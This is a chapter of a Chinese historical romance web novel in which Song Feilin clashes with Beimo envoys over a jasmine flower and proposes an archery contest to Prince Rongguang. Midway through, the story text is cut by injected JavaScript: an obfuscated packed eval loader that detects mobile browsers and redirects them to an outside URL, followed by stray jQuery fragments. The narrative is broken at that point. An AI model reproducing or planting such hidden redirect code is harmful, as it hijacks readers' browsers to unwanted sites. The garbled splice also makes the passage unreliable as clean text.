上京城西郊,桃花溪。
宋霏林拿着一朵开得正艳的桃花,独自站在溪边,漫不经心地将花瓣一片一片扯下,散入水中。
她到底低估了宁安王对北墨人的威慑力。原定于三日后进京的北墨使团,因宁安王病重被退婚的消息,提前来了上京城。在霄雲山别宫祈福的帝后两人今日将在赏花宴上会见他们。
好好的一场春日游玩宴,硬生生被弄成了一场政治外交接待会。宋霏林有一种搬起石头砸自己的脚的无力感。
“你倒是好兴致,在这儿葬起了花。”
清朗的声音惊扰了刚刚凑过来的游鱼,宋霏林黛眉轻皱,眼中闪过一丝不耐烦。如此好景致,全被这不识趣儿的家伙给破坏了。
上京城不比祈丰郡,该有的礼节,一点儿都不能省。
宋霏林回头轻笑,恭敬地对来人行了一礼,“见过胶东王殿下。”
断掉的花枝从她的指尖落入水中,飞溅的水花在两人中间留下一道水线。
“宋三姑娘心情不悦,可是因为北墨使团求娶之事?”
宋霏林心下一惊,这消息她可是头一次听说。北墨王位空悬,边城止战势在必行。此时两国和亲,却也能保边境几年太平。
“北墨和亲,同我有何干系?我只是一平民女子,和亲可轮不到我。”
“可那北墨使臣点名要了你。”
“此话当真?”宋霏林眼中闪过一丝惊慌。
苒尚之死多少与她有些干系,北墨使臣点名要她,怕不是公报私仇。松平侯府没落了,可侯府的封号没有被撤,名义上她还是松平侯府的小姐,为国和亲义不容辞。
只是,牡丹仙子的故事在城里传得沸沸扬扬的,惠帝就算不信鬼神之说,也不会轻易让她和亲。宁安王的生死,关乎边境的太平。惠帝不想太子两兄弟一家独大,却也不会自断双足,让北墨人得了便宜。
“宋三姑娘,不好了。北墨使臣要抢你的花。”
宁安王府的马夫惊慌赶来,宋霏林来不及细问,跟着马夫一路到了西边桃林。
“你这盗花贼,我拿回我自己的花,反倒诬陷我。”
隔着大老远,宋霏林便听到一道轻快的少女音。茉莉银簪在她的发髻上熠熠发光,那发簪的花瓣形状像极了鸳鸯茉莉。
她的身上散发着茉莉花的清香,宋霏林不由得问道:“你喜欢养花?”
少女抬眸,明澈的眼睛里映出一道淡然从容的身影。
“嫂嫂,怎么是你?”
宋霏林茫然失笑,她可不记得她成过亲。北墨的都城终年阳光充足,鸳鸯茉莉在那儿随处可见。
这女子是从北墨的都城来的,身份想来也不低。
“北墨的贵客,花开无名。你这明目张胆的抢花,怕是不妥。”
好不容易得了株宝贝,断没有拱手让人的道理。
“明明是你们祈雲的人抢花在先。嫂嫂,你可不能颠倒黑白。”少女气闷地噘嘴。
少女的嘟囔声引来一位紫衣女子,宋霏林定睛一看,眼中闪过一丝惊讶。
“宋三姑娘,又见面了。”
紫瑶将少女拉到一旁,目光从那株鸳鸯茉莉上逡巡半晌,笑道:“没想到戎音公主在宁安王那儿丢的鸳鸯茉莉,辗转到了姑娘手中。”
“这花是绥远城的军师送的,同宁安王可没什么关系。公主若有不满当找宁安王说理去。”
“可这就是我的花。”少女不依不饶道。
同是爱花人,宋霏林突然心软了。她找人拿了一个花盆,将一朵盛开的茉莉,连花带茎一同移植过去。
“等它生了根,你的鸳鸯茉莉就又回来了。”
宋霏林主动将花盆递了过去,少女不情不愿地在原地站着。花有重开时,可这再也不是当初的那朵。
“戎音,若是你不要,那我替你收下了。”
一粗犷大汉突然从宋霏林的身前闪现,他脖子上的狼牙项圈无声地诉说着他尊贵的身份。
祈丰郡赠鸳鸯茉莉的习俗是从北墨传来的。在北墨,女子送男子鸳鸯茉莉,那是定亲。
“北墨的贵客,鸳鸯茉莉只赠心上人。你可不是我心尖上的人儿,这花我可送不了。”
宋霏林把花牢牢地护在身后。在祈雲的都城,她还怕得罪北墨人不成?
“宋三姑娘,我注定是你未来夫婿。这花,你迟早要送给我。”男子狂妄地笑道。
他炙热的视线落在宋霏林的身上,宋霏林连连后退。在这一刻,她就像一个被孤狼盯上的小白兔,逃也不是不逃也不是。
北墨王庭王室子弟多安于享乐,如此享受狩猎游戏的,怕是只有陪着丰成王在腥风血雨中杀出来的荣广王。
“殿下,苒尚的事儿,我可帮了你不小的忙。恩将仇报是会遭报应的。”
宋霏林脑子转得极快,荣广王与是丰成王最小的弟弟,刚过而立之年。眼前的大汉,肤色黝黑,虽难以看出年纪,却也不像是二十出头的小伙。
“不愧是我看上的女人,就是聪明。”粗犷壮汉放声大笑。
笑声里尽是对宋霏林的势在必得。
“不知荣广王为何事如此高兴?”
沉着的声音飘到宋霏林的耳朵里。她回头之时,恰巧见到一个清雅公子拿着一柄折扇向她走来。霜花玉佩在他的腰上散发着温暖的光。
宋霏林这才记起,这位就是她路见不平救下的长平府的少将军。
“徐少将军,别来无恙。”荣广王遗憾地笑道。
在祈音山没能送他见阎王,真是可惜了。难得淞月山庄、春夜楼和逍凌阁的人都想要他的狗命。偏偏路上杀出来了一个宋霏林,整了出李代桃僵,把三家都骗了进去。
可不久之后又主动爆出了自己的计划,三家才没有完全掉进宁安王设计的陷阱里,损失都不大。
这女子当真叫人又爱又恨。
“你再用这种无礼的眼神盯着她看,当心被她挖了眼珠子。”徐舟齐打趣道。
宋霏林心虚地垂下脑袋,不愧是被她扎过一刀的人,都有心得了。
“本王就喜欢性烈的女人。宋三姑娘,若是你能在百招之内伤本王分毫,就算你真挖了本王的眼珠子,本王也认了。”
荣广王的眼中燃起征服的火焰。宋霏林最烦话只说一半,可这另一半,她是不能随意问的。
“我就一手无缚鸡之力的弱女子,怎么打得过英勇神武的王爷。”宋霏林乖顺地笑道。
她这乖顺的模样,就像一只在主人怀
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997085|188560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中伺机露出利爪的猫。荣广王越发想把她带回府中好好调教。
“本王徒手同你打,你武器任选。”
宋霏林将这大汉从上打下仔细打量了一番,他的胳膊是她的两倍粗,如此悬殊的力量对比,就算上了武器,也不过杯水车薪。
她才不上这个当。
“我肩不能扛手不能提,风一吹人就倒了,可拿不起那沉甸甸的武器。更何况,来者是客,哪有对客人动武的道理。”
“宋三姑娘,你在双云寨的英勇事迹,本王可听过不少。你这番推脱可是看不起本王。”
宋霏林假笑两声,在双云寨打擂,使的全是巧劲。眼前这位壮汉摆明了要同她拼硬功夫。更何况,两国比武切磋,向来比赛第一,其余的全部靠边站。这打的是两国的国力和面子。
宋霏林四下张望,徐舟齐的武功,运粮用是够的,比武如何,是个未知数。她无奈地将视线从他的身上划过,徐舟齐瞬间觉得自己被冒犯了。
“王爷,要不我们来开赌局吧。三局两胜。你赢了,我便同你打擂。你输了,双云寨的事儿就翻篇了。如何?”
荣广王越发对她来了兴致。难驯的烈马驯服起来才更来劲。
“比什么?”
“射箭。”
“我北墨人天生擅骑射,宋三小姐当真要比这个?”
“我说的射箭,可是团战。”
“团战?”
“三人一组,校场比武。每人三支箭。最终射中彩头的一方赢。三局两胜,中途可以换人。”
北墨人尚武,不把他们打服,他们可不会消停。
这种比武游戏很合荣广王的意,他点头道:“宋三姑娘,着实是个妙人。不知姑娘,请哪三人出战?”
宋霏林脑子里已有合适人员,但还是客套的反问了一句,“来者是客,客人想派哪三人出战?”
荣广王看了眼跃跃欲试的戎音,笑道:“戎音,你说呢?”
宋霏林的右眼皮突然跳了两下,这荣广王居然不按套路出牌。赏花宴上弱不禁风的世家小姐处处有,可能在校场上大杀四方的屈指可数。
“这游戏新奇,我同紫瑶姐姐还有青玥姐姐,一同上。”
“公主,刀剑无眼,若是不小心伤了你,可是伤了两国和气。我可担待不起。”
“校场比武,生死由天。没什么担待不起的。我们北墨人,敢应局,就玩得起。”戎音公主骄傲地说道。
宋霏林向徐舟齐投去求救的目光,她手上可没三个现成的花木兰。
“既然戎音公主如此说了,我们便不推辞了。只是今日是春日赏花宴,动武可不吉利。等来日,戎音公主来长平府做客,府中女使定当陪戎音公主玩个痛快。”
宋霏林不由得长舒了一口气儿,私下打闹,与这在两国邦交会上动武,政治意义截然不同。
“这儿发生什么了?这么热闹?”
一道庄严的声音从不远处飘来,凤簪在阳光下熠熠发光。来人刚走近一点儿,黑色长袍上用金线绣出的凤凰图案赫然映入眼帘。她的身旁站着的男子,身上绣着九爪金龙。
宋霏林发呆的时候,身边众人都已伏地跪拜。唯有北墨使团一行人,与她一样,昂首挺胸地站着。